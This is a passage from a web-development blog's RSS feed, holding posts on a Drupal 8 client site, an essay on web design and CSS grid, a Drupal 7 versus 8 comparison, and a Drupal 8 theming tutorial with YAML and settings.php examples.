  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Twig debugging in Drupal 8&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Drupal 8 has pretty much has a revamped file and folder structure, so custom themes now go into the &lt;code&gt;/themes&lt;/code&gt; folder, which to me, is much more intuitive. All the core files can be found in the &lt;code&gt;/core&lt;/code&gt; folder, default themes and modules included.&lt;/p&gt;
&lt;p&gt;The way to utilise external libraries is also different now, making use of a &lt;code&gt;.libraries.yml&lt;/code&gt; file instead. We now declare the external resources, be it JavaScript or CSS, and include them only on pages that need them by declaring them in the appropriate template file.&lt;/p&gt;
&lt;p&gt;We put in some little animations to spruce things up a bit, with this particular flip-effect utilising 3D CSS transforms, and for browsers that don&apos;t support it, and narrow screen sizes, it falls back to a simple opacity fade.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Flippy flippy.&lt;/figcaption&gt;
  &lt;video controls=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/videos/flipper.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/flipper.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;There was also liberal use of viewport units throughout the entire theme. The quote marks on the About page are pseudo-elements placed behind the quote text, and they adjust themselves because, you know, media queries. And if you play the short video below, you&apos;ll notice use of the &lt;code&gt;picture&lt;/code&gt; element where two different iamges are used for the banner depending on the screen width.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Gotta have a good quote.&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/quotemarks.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/quotemarks.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Page performance&lt;/h2&gt;
&lt;p&gt;So one of the requirements was to NOT have the page be like 11mb and take 1 minute to load, which honestly is a really, really low bar. There are further optimisations possible because as of point of writing, we haven&apos;t moved to Pantheon&apos;s production server (this is still the development server), but you can see it loads under 2 seconds and weighs in at under 1mb, which I think is pretty decent.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;WebPageTest&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/sinvict/perf.jpg&quot; srcset=&quot;/images/posts/sinvict/perf@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;GTMetrix&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/sinvict/perf2.jpg&quot; srcset=&quot;/images/posts/sinvict/perf2@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It was great to have the chance to flex my partly-atrophied Drupal muscles again and to familiarise myself with Drupal 8, which was something on my radar for the past 2 years that I never really got around to doing seriously. Also wonderful to work with clients that I have a good working relationship with because it made things go a lot smoother. Until the next one!&lt;/p&gt;
</content:encoded></item><item><title>Rethinking web design</title><link>https://chenhuijing.com/blog/rethinking-web-design/</link><guid isPermaLink="true">https://chenhuijing.com/blog/rethinking-web-design/</guid><description>I&apos;ve been thinking a lot about web design lately. Actually I&apos;ve been thinking about web design ever since I started working on the web. But it was upon…</description><pubDate>Sat, 12 Aug 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve been thinking a lot about web design lately. Actually I&apos;ve been thinking about web design ever since I started working on the web. But it was upon learning more about browsers&apos; layout engines, how rendering works and their relationship with HTML and CSS that has shaped my current opinion of web design.&lt;/p&gt;
&lt;p&gt;Perhaps you may not agree with me, but I do believe that an understanding of the history of the web, amongst many other things, is essential to becoming a better web designer. Let&apos;s be honest, the digital age we live in now moves at a break-neck speed. The first electronic computers came about in the 1940s, that&apos;s less than a century ago.&lt;/p&gt;
&lt;p&gt;The web itself was invented by Sir Tim Berners-Lee in 1989. The web is a millennial, folks! Think about that the next time you get frustrated when building anything on the web &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;No, but seriously, this medium that has taken over the world in less than 30 years is still very young. Even though geographic distribution across the world is highly uneven, &lt;a href=&quot;https://wearesocial.com/uk/special-reports/digital-in-2017-global-overview&quot;&gt;more than half the world uses a smartphone, and almost two-thirds of the world&apos;s population has a mobile phone&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Screens are the new hot-ness&lt;/h2&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;OA-1008 Situation Display&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/new-normal/sage.jpg&quot;
      srcset=&quot;/images/posts/new-normal/sage@2x.jpg 2x&quot;
      alt=&quot;OA-1008 Situation Display for AN/FSQ-7&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;PDP-1&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/new-normal/pdp1.jpg&quot;
      srcset=&quot;/images/posts/new-normal/pdp1@2x.jpg 2x&quot;
      alt=&quot;PDP-1&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Electronic screens were introduced as an output device in the 1950s and screen technology has improved rapidly over these past few decades. But electronic screens are a proxy medium, in that whatever we see displayed on a screen comes from data encoded as electronic signals. The heart of electronic displays is light. It is transient. We cannot touch light.&lt;/p&gt;
&lt;p&gt;Before this, we&apos;ve always used physical media as a means of visual communication, from writing on all kinds of surfaces, to creating art, paintings and sculptures, or even physical expression through dance and performance.&lt;/p&gt;
&lt;p&gt;When we encounter something completely new, like the web, we always try to reconcile it with something we&apos;re already familiar with. In this case, the closest thing we had to the web was print. We even used similar terminology, calling them web &lt;em&gt;pages&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;However, because of the additional degree of separation between the creator and the final output, we cannot have the same set of expectations when it comes to handling the web as a medium. Let me attempt an emoji explanation.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Physical media&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/new-normal/physical.svg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Digital media&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/new-normal/digital.svg&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;My baby is growing up&lt;/h2&gt;
&lt;p&gt;My point is, designing for the web requires an intimate knowledge of the browser that will be rendering the final output. You can&apos;t stick your hands in there and change things directly. You have to change the instructions given to the browser, explaining how you would like things to be rendered instead.&lt;/p&gt;
&lt;p&gt;When browsers first started out, they couldn&apos;t do much except display text and maybe images if you were lucky. Like a baby, that hasn&apos;t developed the motor skills to even sit up yet. But over the years, browsers have become more mature and vastly more capable. And when it comes to layout on the web, I feel that the release of CSS grid is like the web finally getting it&apos;s driver&apos;s license.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/new-normal/license.gif&quot; alt=&quot;Driver&apos;s license GIF&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are still a lot of legacy expectations brought over from print that cause designers a lot of frustration when designing for the web. I know, because I&apos;d given my fair share of grief to them when I said, no, we can&apos;t build that because it requires resorting to measures of extreme-hackishness.&lt;/p&gt;
&lt;p&gt;To me, the magic of the web is the process by which the web evolves. The web was meant to be an open platform. One where new features can be proposed and discussed by the community before being implemented into browsers.&lt;/p&gt;
&lt;h2&gt;Because you&apos;re amazing, just the way you are&lt;/h2&gt;
&lt;p&gt;The new normal I would like to see is one where people don&apos;t expect websites to look the same on different browsers and devices. Where we embrace the fluidity of content and work with it instead of against it. Where we cede control of our designs to the browsers that render them rather than constantly engage in this battle to dictate where every pixel should fall.&lt;/p&gt;
&lt;p&gt;In this sense, Flexbox and CSS grid gives us a whole suite of commands to tell the browser how we&apos;d like things to look depending on the context of the screen being used. And it&apos;s much easier to trust the browser if we understand how it works.&lt;/p&gt;
&lt;p&gt;Yes, there are a boat-load of browsers using different layout engines and hence each have their own quirks, or release features at different times, and you know what? That&apos;s perfectly fine. Your parents didn&apos;t expect you to behave exactly like your siblings, did they? (Sorry, if they did)&lt;/p&gt;
&lt;p&gt;Browsers operate on an evergreen update model now, so features and bug fixes get shipped much faster than we&apos;re used to with traditional software. So the range of browsers with varying features is extremely wide. This is part of parcel of web design, where we layer on different styles and looks based on feature support. This is part of the new normal I want to see.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Chrome&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/new-normal/chrome.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Firefox&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/new-normal/firefox.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;IE11&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/new-normal/ie11.jpg&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Feature queries are a fantastic addition to our toolbox, because it allows us to perform this layering natively, without resorting to extraneous code libraries. If you had to write extra code to make the website look exactly the same on every browser, you could write less code and have designs that work well on browsers with different levels of feature support.&lt;/p&gt;
&lt;h2&gt;Mind over matter?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The hardest part is changing our thinking, not our CSS.&lt;br&gt;
—Jen Simmons&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Jen Simmons said this in &lt;a href=&quot;https://vimeo.com/147950924&quot;&gt;her talk at An Event Apart&lt;/a&gt; a couple years ago, that we can always create the same old boring layouts we always have with these new powerful tools at our disposal. Or we can draw inspiration from graphic design and print magazines. Those sources of designs that, only a year before, I was saying could not be built. They couldn&apos;t be built before, but they can be now.&lt;/p&gt;
&lt;p&gt;Some people might ask, why are we reinventing the wheel? We need to build things faster, with less effort, ship ship ship! I don&apos;t support that view. In fact, is the wheel still relevant when you&apos;re no longer on land? The web is a unique medium altogether. Maybe we ought to be thinking about wings instead.&lt;/p&gt;
&lt;p&gt;It&apos;s not that I want things to take forever to build, but I still maintain a moderately romantic view of craftsmanship. A potter works his clay with deft fingers, a sculptor chisels his marble with the precision of a surgeon, and I would like to direct my browser like a conductor does his orchestra.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So these are just a few thoughts I had as I develop my content for the two up-coming events I will be speaking at in September, namely &lt;a href=&quot;http://2017.formfunctionclass.com/&quot;&gt;Form, Function, Class 8&lt;/a&gt; in the Philippines, and the &lt;a href=&quot;https://hacks.mozilla.org/2017/02/devroadshow/&quot;&gt;Mozilla Developer Roadshow, Asia&lt;/a&gt;. Both are quality events run by wonderful people so if you&apos;re in the region, come and join us. We can geek out about the web together &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 7 versus Drupal 8</title><link>https://chenhuijing.com/blog/drupal7-versus-drupal8/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal7-versus-drupal8/</guid><description>I&apos;ve recently embarked on my first official Drupal 8 project, for Sinvict Technology (case study when the project launches), and it was interesting to see how…</description><pubDate>Fri, 11 Aug 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve recently embarked on my first official Drupal 8 project, for Sinvict Technology (case study when the project launches), and it was interesting to see how certain things changed for the better, certain things stayed familiar and certain things seemed slightly worse off. I thought I&apos;d write up some comparison notes between the two versions. This is my personal opinion based on my experiences. You should have your own opinion too.&lt;/p&gt;
&lt;h2&gt;Core is so much better&lt;/h2&gt;
&lt;p&gt;I really like the improvements made to core for Drupal 8. Making views part of core was a great idea, as was making the date field core as well. I felt the organisation of files in the new folder structure was more intuitive than before, you know, like themes go into the &lt;em&gt;themes&lt;/em&gt; folder, and modules into the &lt;em&gt;modules&lt;/em&gt; folder. Guess where the core files are? In the &lt;em&gt;core&lt;/em&gt; folder. Gosh, who&apos;d have thought?&lt;/p&gt;
&lt;p&gt;Switching to YAML for configuration was also a welcome change for me. I&apos;d used Jekyll extensively so this was very much up my alley. I find YAML easier to comprehend at a glance, it feels neater to me.&lt;/p&gt;
&lt;p&gt;Having an &lt;code&gt;example.settings.local.php&lt;/code&gt; included by default makes it easier for new users to wrap their heads around having a local configuration versus a production configuration, which I think makes for better collaboration between developers working on the same site.&lt;/p&gt;
&lt;p&gt;Also, blocks. Custom blocks are now managed in their own section, making it so much neater. This part I like quite a lot. It used to be that the blocks management interface would get super cluttered as your project got larger and larger, but things are more organised in this current format.&lt;/p&gt;
&lt;h2&gt;Theming is different now&lt;/h2&gt;
&lt;p&gt;I&apos;d heard about the theming revamp since Drupal 8 was first announced but hearing about something is considerably different from getting your hands dirty. One thing I do that goes against the grain is that I don&apos;t like to extend base themes, instead, I like to start off with a blank slate.&lt;/p&gt;
&lt;p&gt;Which is why the inclusion of a troubleshooting theme like Stark was a plus in my eyes. Even though it wasn&apos;t meant to be used as a base theme, the fact that it was “stark” (sorry, it was right there) made it work for me. With a bare-bones starting point, I worked on creating an 8.x branch for my Drupal 7 starter theme, &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;Clarus&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The mechanism for adding external libraries through the &lt;code&gt;THEME_NAME.libraries.yml&lt;/code&gt; makes it easier to plug in JavaScript and CSS files and there&apos;s also the option to only load them where they are needed via Twig templates.&lt;/p&gt;
&lt;p&gt;Oh, and about those Twig templates. There are parts I like and parts that I need to make myself get used to. The modularity of the templates is similar to the old system, making use of name-spacing to target specific components with increasing levels of granularity. But it also makes accessing variables a bit more tricky, in that I had to write pre-process functions in the &lt;code&gt;THEME_NAME.theme&lt;/code&gt; file to have access to those. Maybe I&apos;m doing it wrong &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;But overall, the level of effort needed to create a completely custom theme wasn&apos;t all that different from that of Drupal 7, and perhaps once I get up to speed, it may be even faster? I dunno, I can&apos;t predict the future.&lt;/p&gt;
&lt;h2&gt;There&apos;s a module for that, or not anymore&lt;/h2&gt;
&lt;p&gt;So the thing with a major version change is that some modules don&apos;t get updated for it. Let&apos;s all remember that Drupal is pretty much a community-driven ecosystem, and all of us need to keep getting em‘ cheques, you know? Work is mostly volunteer-based unless some companies want to sponsor module development, so personally, I&apos;ve never begrudged module maintainers for letting their modules go.&lt;/p&gt;
&lt;p&gt;However, that also means going through the research process for a module that can do something similar, or writing your own. If the functionality is minor, then no problem, code it up yourself. But if it something that requires significant effort, and not included in your project budget, release the search hounds, I say!&lt;/p&gt;
&lt;p&gt;Fortunately, most of the modules I used for Drupal 7 got ported over just fine, with the exception of Field Slideshow, but there were other ways to implement what I wanted. Some modules, like Panels, changed significantly and it took a while get used to.&lt;/p&gt;
&lt;p&gt;For example, one of the things I used to do was create Panel pages for nodes where content authors could still make their updates via the standard edit interface for content types. Using panels allowed us to build a page with content from other sources as well, like views blocks and so on.&lt;/p&gt;
&lt;p&gt;Because the interface is slightly different now, it took me quite a while before realising I could do that by selecting &lt;em&gt;Entity View (Content)&lt;/em&gt; from the &lt;em&gt;Chaos Tools&lt;/em&gt; section when adding a new block. Also, blocks. There doesn&apos;t seem to the option to create custom content panels any more, but the same end result can be achieved with custom blocks anyway, so no biggie.&lt;/p&gt;
&lt;h2&gt;Configuration management isn&apos;t features...yet&lt;/h2&gt;
&lt;p&gt;One of the best practices I picked up was to package up functionality into features for deployment, as well as easier tracking of development progress. Features 2.x in Drupal 7 was quite robust (or at least, suited to the method my team used) and allowed us to deploy new features from local to staging to production really smoothly.&lt;/p&gt;
&lt;p&gt;I first tried out configuration management for the initial deployment of the site, and realised that you couldn&apos;t actually pick and choose multiple configurations to export, it was either all of them or a single configuration. Which was quite a bummer, because on local, there are certain modules purely used for development that I didn&apos;t want to include in the export but couldn&apos;t.&lt;/p&gt;
&lt;p&gt;Hopefully this is something that will be enhanced moving forward, because having all the configuration stored in files does make things easier, but only if there&apos;s a higher level of control over what gets exported or not.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;ve been much less involved with Drupal over the last couple years though when I do get a project that needs a CMS, I find myself reaching for Drupal first. It&apos;s great to see that long wait for Drupal 8&apos;s release wasn&apos;t in vain, and my overall impressions of Drupal 8 are quite positive.&lt;/p&gt;
&lt;p&gt;Drupal did kick-start my career, so you can say I have a soft spot for this particular CMS with a rather cute logo. If you haven&apos;t tried Drupal 8 yet, I think now is a good time to start.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.phase2technology.com/blog/transforming-enterprises-drupal-8&quot;&gt;Phase2 Technology&lt;/a&gt; blog post on Transforming Enterprises with Drupal 8&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Getting started with Drupal 8 theming</title><link>https://chenhuijing.com/blog/drupal-101-d8-theming/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-d8-theming/</guid><description>Yes, I&apos;ve finally got around to digging my mitts into Drupal 8, and building custom themes for Drupal 8. I have this bare-bones starter theme called Clarus…</description><pubDate>Tue, 01 Aug 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Yes, I&apos;ve finally got around to digging my mitts into Drupal 8, and building custom themes for Drupal 8. I have this bare-bones starter theme called &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;Clarus&lt;/a&gt; that I developed back in the day when I was theming Drupal 7 sites willy-nilly. I thought I&apos;d keep it, and develop a Drupal 8 branch rather than start a new project.&lt;/p&gt;
&lt;p&gt;Drupal 8 has undergone quite a significant revamp under-the-hood, and the folder structure has changed quite a bit. Instead of placing your themes in the &lt;em&gt;sites/all/themes&lt;/em&gt; folder, all user-created themes go into the &lt;em&gt;themes&lt;/em&gt; folder. Well, that&apos;s an upgrade on the intuitive-ness front.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.drupal.org/docs/8/theming&quot;&gt;documentation for theming Drupal 8&lt;/a&gt; is really good, and you should read that before anything else if you&apos;re planning to do this custom theming thing. I generally follow whatever the guide says with a couple tweaks to suit my personal preferences.&lt;/p&gt;
&lt;h2&gt;Folder structure&lt;/h2&gt;
&lt;p&gt;As mentioned, all non-core themes should be placed in the &lt;en&gt;themes&lt;/en&gt; folder. Create a new folder with the name of your theme. The guide suggests you put all contrib themes in a subfolder and your custom themes in another, for organisational purposes.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  Speaking of organisation, it&apos;s best to create some subfolders inside your custom theme folder as
  well. I use Sass as part of my workflow, so I have an &lt;en&gt;scss&lt;/en&gt; folder in there. It&apos;s not
  mandatory.
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;godzilla/
    ├── css
    ├── js
    ├── scss
    └── templates
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The &lt;code&gt;.info.yml&lt;/code&gt; file&lt;/h2&gt;
&lt;p&gt;A key difference from Drupal 7 is the extensive use of &lt;code&gt;.yml&lt;/code&gt; for a lot of configuration. Instead of the &lt;code&gt;.info&lt;/code&gt; file in Drupal 7, we now use a &lt;code&gt;.info.yml&lt;/code&gt; file, which serves the same purpose, just in a different format. This file goes into the root of your theme folder.&lt;/p&gt;
&lt;p&gt;The theme folder and this file should have the same name. Theme names have to be unique, so check that you don&apos;t clash with any modules you&apos;ve installed. Theme names cannot have spaces in them. It&apos;s a PHP function thing.&lt;/p&gt;
&lt;p&gt;I&apos;ve used a LOT of Jekyll over the years, so YAML is not a problem for me. But if you&apos;re completely new to YAML, try reading some documentation first. Here&apos;s a &lt;a href=&quot;https://learnxinyminutes.com/docs/yaml/&quot;&gt;cheatsheet-style summary&lt;/a&gt; and &lt;a href=&quot;https://github.com/Animosity/CraftIRC/wiki/Complete-idiot%27s-introduction-to-yaml&quot;&gt;a basic introduction&lt;/a&gt;. Remember that tabs are not allowed in YAML, only use spaces, and the rule of 2-space indentation must be strictly followed.&lt;/p&gt;
&lt;p&gt;Every time you make a change to the &lt;code&gt;.info.yml&lt;/code&gt; file, you must also clear your cache to see the changes. There are seventeen key/value pairs that can be used to provide information and configuration options for your theme. Only three are required, though some of the optional ones are very useful to include as well.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;name&lt;/strong&gt; &lt;em&gt; (required)&lt;/em&gt;
  &lt;br /&gt; Defines the human-readable version of your theme name. This is the name that shows up on the{&quot; &quot;}
  &lt;em&gt;Administration &gt; Appearance&lt;/em&gt; screen. Because this serves as a label for your theme, you&apos;re
  allowed to use spaces, but put them in quotes if you do.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;name: &amp;quot;Godzilla is rox&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;type&lt;/strong&gt; &lt;em&gt; (required)&lt;/em&gt;
  &lt;br /&gt;
  For the purposes of theming, this should always be set to &lt;em&gt;theme&lt;/em&gt;.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;type: theme
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;description&lt;/strong&gt;
  &lt;br /&gt;
  Optional but recommended to have. This is a brief description of your theme, which shows up below
  your theme name on the &lt;em&gt;Administration &gt; Appearance&lt;/em&gt; screen.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;description: &amp;quot;A custom responsive Godzilla-based theme&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/d8-theming/info-640.jpg&quot;
  srcset=&quot;/images/posts/d8-theming/info-480.jpg 480w, /images/posts/d8-theming/info-640.jpg 640w, /images/posts/d8-theming/info-960.jpg 960w, /images/posts/d8-theming/info-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Theme selection&quot;
/&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;core&lt;/strong&gt; &lt;em&gt; (required)&lt;/em&gt;
  &lt;br /&gt;
  Indicates what major version of Drupal the theme is compatible with. If this does not match the
  version of Drupal installed, the theme will be disabled.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;core: 8.x
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;libraries&lt;/strong&gt;
  &lt;br /&gt;I don&apos;t really understand why this is optional, because it seems quite mandatory to me. Anyway,
  instead of defining stylesheets and scripts like we did in Drupal 7, these assets are now defined in
  a separate &lt;code&gt;THEME_NAME.libraries.yml&lt;/code&gt; file, and reference entries in that file here.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;libraries:
  - godzilla/global-styling
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This concept of an asset library is based on the premise that CSS and JS for modules and themes are all loaded via the same system. Part of improving the performance of Drupal 8 is to have assets load only if you tell them to, so not everything is loaded on every page.&lt;/p&gt;
&lt;p&gt;For this bit, I strongly recommend &lt;a href=&quot;https://www.drupal.org/node/2216195&quot;&gt;reading the documentation&lt;/a&gt;, because it goes really in-depth on how this new asset library system works. Here&apos;s how a &lt;code&gt;THEME_NAME.libraries.yml&lt;/code&gt; file looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;global-styling:
  version: 1.x
  css:
    theme:
      css/styles.css: {}
  js:
    js/scripts.js: {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;regions&lt;/strong&gt;
  &lt;br /&gt;
  Optional and will default to the list below if not specified. Regions are what shows up in the{&quot; &quot;}
  &lt;em&gt;Administration &gt; Structure &gt; Blocks&lt;/em&gt; screen. Refer to the{&quot; &quot;}
  &lt;a href=&quot;https://www.drupal.org/node/2469113&quot;&gt;official documentation&lt;/a&gt; for a comprehensive
  explanation on defining regions in your theme.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;regions:
  sidebar_first: &amp;quot;Left sidebar&amp;quot;
  sidebar_second: &amp;quot;Right sidebar&amp;quot;
  content: &amp;quot;Content&amp;quot;
  header: &amp;quot;Header&amp;quot;
  primary_menu: &amp;quot;Primary menu&amp;quot;
  secondary_menu: &amp;quot;Secondary menu&amp;quot;
  footer: &amp;quot;Footer&amp;quot;
  highlighted: &amp;quot;Highlighted&amp;quot;
  help: &amp;quot;Help&amp;quot;
  breadcrumb: &amp;quot;Breadcrumb&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;base theme&lt;/strong&gt;
  &lt;br /&gt;
  The documentation recommends using &lt;em&gt;Classy&lt;/em&gt; or &lt;em&gt;Stable&lt;/em&gt; as a base theme because then
  you get all the pre-defined CSS classes written into those themes. If you&apos;re a sucker for
  punishment, like me, and just want to have absolute control over all your CSS classes, you can
  always set this to &lt;code&gt;false&lt;/code&gt;, then your theme will have ZERO CSS classes. From there, you
  can add Twig templates to customise your CSS classes exactly the way you want to.
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;base theme: OTHER_THEME
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full list of all options available for the &lt;code&gt;.info.yml&lt;/code&gt; file can be found &lt;a href=&quot;https://www.drupal.org/docs/8/theming-drupal-8/defining-a-theme-with-an-infoyml-file&quot;&gt;here&lt;/a&gt;. A sample &lt;code&gt;.info.yml&lt;/code&gt; file would look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;name: &amp;quot;Godzilla is rox&amp;quot;
type: theme
description: &amp;quot;A custom responsive Godzilla-based theme.&amp;quot;
core: 8.x
base theme: false
libraries:
  - godzilla/global-styling
regions:
  header: Header
  content: Content
  footer: Footer
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Twig template files&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20150906003104/https://www.drupal.org/phptemplate&quot;&gt;PHPTemplate&lt;/a&gt; has now been replaced by &lt;a href=&quot;https://twig.symfony.com/&quot;&gt;Twig&lt;/a&gt;, so instead of &lt;code&gt;*.tpl.php&lt;/code&gt; template files, they are now all &lt;code&gt;*.html.twig&lt;/code&gt; template files. But the underlying mechanism of overriding templates with increasing specificity (based on naming convention) still apply in the world of Drupal 8. How this works is &lt;a href=&quot;https://www.drupal.org/docs/8/theming/twig/working-with-twig-templates&quot;&gt;covered right here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&apos;m not going to repeat the documentation, but I have to mention the most useful feature my noob ass fell in love with. Twig debugging! But before that, I hope you have a &lt;code&gt;settings.local.php&lt;/code&gt; file already, because that&apos;s good practice, folks. Drupal 8 has a pretty aggressive caching strategy, which is great for performance, but a bit of a hassle during development. But that&apos;s what development settings are for.&lt;/p&gt;
&lt;p&gt;First of all, we need Drupal to recognise your local development settings file. Check your &lt;code&gt;settings.php&lt;/code&gt; file for these lines, and make sure they are uncommented:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;if (file_exists($app_root . &apos;/&apos; . $site_path . &apos;/settings.local.php&apos;)) {
  include $app_root . &apos;/&apos; . $site_path . &apos;/settings.local.php&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, check in your &lt;code&gt;settings.local.php&lt;/code&gt; file. If you made a copy from the &lt;code&gt;example.settings.local.php&lt;/code&gt; file in the &lt;em&gt;sites&lt;/em&gt; folder, then you should see this line somewhere in there:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$settings[&apos;container_yamls&apos;][] = DRUPAL_ROOT . &apos;/sites/development.services.yml&apos;;
&lt;/code&gt;&lt;/pre&gt;
